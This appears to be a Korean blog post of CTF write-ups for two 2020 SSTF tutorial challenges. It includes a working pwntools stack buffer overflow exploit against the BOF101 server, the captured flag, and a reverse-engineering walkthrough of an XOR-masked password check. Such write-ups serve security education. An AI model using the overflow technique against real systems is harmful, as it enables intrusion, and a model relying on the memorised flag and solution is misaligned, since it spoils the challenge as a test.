[2020 SSTF] BOF101 50pt (Tutorial/Binary/pwn)
[2020 SSTF]  CrackMe101 50pt (Tutorial/Binary/Rev)

 

[2020 SSTF] BOF101 50pt (Tutorial/Binary/pwn)

 

 

문제에서 주어진 압축을 풀면 다음과 같이 2개의 파일이 주어진다

 

bof101.c 의 내용은 다음과 같다

#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void printflag(){ 
	char buf[32];
	FILE* fp = fopen("/flag", "r"); 
	fread(buf, 1, 32, fp);
	fclose(fp);
	printf("%s", buf);
	fflush(stdout);
}

int main() {
	int check=0xdeadbeef;
	char name[140];
	printf("printflag()'s addr: %p\n", &printflag);
	printf("What is your name?\n: ");
	fflush(stdout);
	scanf("%s", name);	
	if (check != 0xdeadbeef){
		printf("[Warning!] BOF detected!\n");
		fflush(stdout);
		exit(0);
	}
	return 0;
}

 

main 함수의 다음 부분에서 BOF가 발생할 수 있다

scanf("%s", name); //BOF

 

다음과 같이 BOF를 탐지하고 있으므로 check 값을 0xdeadbeef로 유지한채 RET를 바꿔야한다

#include <stdio.h>
...

int main() {
	int check=0xdeadbeef;
	char name[140];
	...
	if (check != 0xdeadbeef){
		printf("[Warning!] BOF detected!\n");
		fflush(stdout);
		exit(0);
	}
	...
}

 

다음은 파일을 실행해본 결과이다

BOF를 잘 탐지하고 있는 것을 볼 수 있다

 

 

다음과 같이 0x90 (144) bytes가 할당되고 if문으로 확인하고 있음을 알 수 있다

// 할당
sub rsp, 0x90
mov DWORD PTR [rbp-0x4], 0xdeadbeef

// 조건문
cmp DWORD PTR [rbp-0x4], 0xdeadbeef

 

주어진 주소와 포트에 공격할 python payload이다

 

from pwn import *

r = remote("bof101.sstf.site", 1337)

check = 0xdeadbeef
target_address = 0x555555555229

payload = "A"*140				# stack buffer 덮기
payload += p32(check)			# [rbp-0x4]의 위치를 deadbeef로 덮기
payload += "\x90"*8 			# sfp 덮기
payload += p64(target_address)		# ret 변조

print(r.recv())
r.sendline(payload)
print(r.recv())
r.close()

 

payload를 실행하면 flag를 획득할 수 있다

 

 

FLAG : SCTF{n0w_U_R_B0F_3xpEr7}

 

[2020 SSTF]  CrackMe101 50pt (Tutorial/Binary/Rev)

 

 

문제에서 주어진 파일의 압출을 풀면 다음 파일이 주어진다

 

ghidra로 파일을 분석했다

 

 

분석 결과 파일의 main function은 다음과 같다

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_88;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the password! : ");
  __isoc99_scanf(&DAT_0010206e,local_78);
  sVar2 = strlen(local_78);
  iVar1 = (int)sVar2;
  getMaskedStr(local_78,local_78,local_78);
  local_88 = 0;
  while ((local_88 < iVar1 &&
         ("Dtd>=mhpNCqz?N!j(Z?B644[.$~96b6zjS*2t&"[local_88] == local_78[(iVar1 - local_88) + -1])))
  {
    local_88 = local_88 + 1;
  }
  if (local_88 != iVar1) {
    puts("Login Failed!");
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return 0;
  }
  puts("Successfully logged in!\nGood job!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

 

main function에서 임의의 string1과 사용자 입력값인 local_78을

1 byte씩 역순(reverse string)으로 비교하고 있는 것을 알 수 있다

"Dtd>=mhpNCqz?N!j(Z?B644[.$~96b6zjS*2t&"[local_88] == local_78[(iVar1 - local_88) + -1]

 

비교전 getMaskedStr function으로 local_78이 전달되니,

getMaskedStr function의 동작을 확인할 필요가 있다

getMaskedStr(local_78,local_78,local_78);

 

getMaskedStr function은 다음과 같다

void getMaskedStr(char *param_1,long param_2)

{
  size_t sVar1;
  int local_18;
  
  sVar1 = strlen(param_1);
  local_18 = 0;
  while (local_18 < (int)sVar1) {
    *(byte *)(param_2 + local_18) =
         param_1[local_18] ^ "u7fl(3JC=UkJGEhPk{q`/X5UzTI.t&A]2[rPM9"[local_18];
    local_18 = local_18 + 1;
  }
  *(undefined *)(param_2 + (int)sVar1) = 0;
  return;
}

 

getMaskedStr function에서는 사용자 입력값을 임의의 string2과 xor 연산을 하는 것을 확인할 수 있다

*(byte *)(param_2 + local_18) = param_1[local_18] ^ "u7fl(3JC=UkJGEhPk{q`/X5UzTI.t&A]2[rPM9"[local_18];

 

프로그램의 진행을 요약하자면 다음과 같다

user_input = ?
string2 = "u7fl(3JC=UkJGEhPk{q`/X5UzTI.t&A]2[rPM9"
reversed string1 = "Dtd>=mhpNCqz?N!j(Z?B644[.$~96b6zjS*2t&"

user_input ^ string2 = reversed string1

 

즉, 다음과 같은 방법으로 옳바른 user_input을 알아낼 수 있다

re-reverse string1 ^ string2 = user_input

 

codebeautify.org의 Reverse String 기능을 이용해 다음과 같이 re-reverse string1을 구하였다

 

 

문제에서 주어진 xor.pw 사이트에서 re-reverse string1 ^ string2를 진행한 결과는 다음과 같다

 

 

'CTFs' 카테고리의 다른 글

[Real World CTF 4th] review & studies  (0) 2022.01.31
[Real World CTF 4th] write-ups  (0) 2022.01.31
[KnightCTF 2022] review & studies  (0) 2022.01.25
[KnightCTF 2022] write-ups  (0) 2022.01.23
[2020 InCTF] write-ups  (0) 2021.01.17

+ Recent posts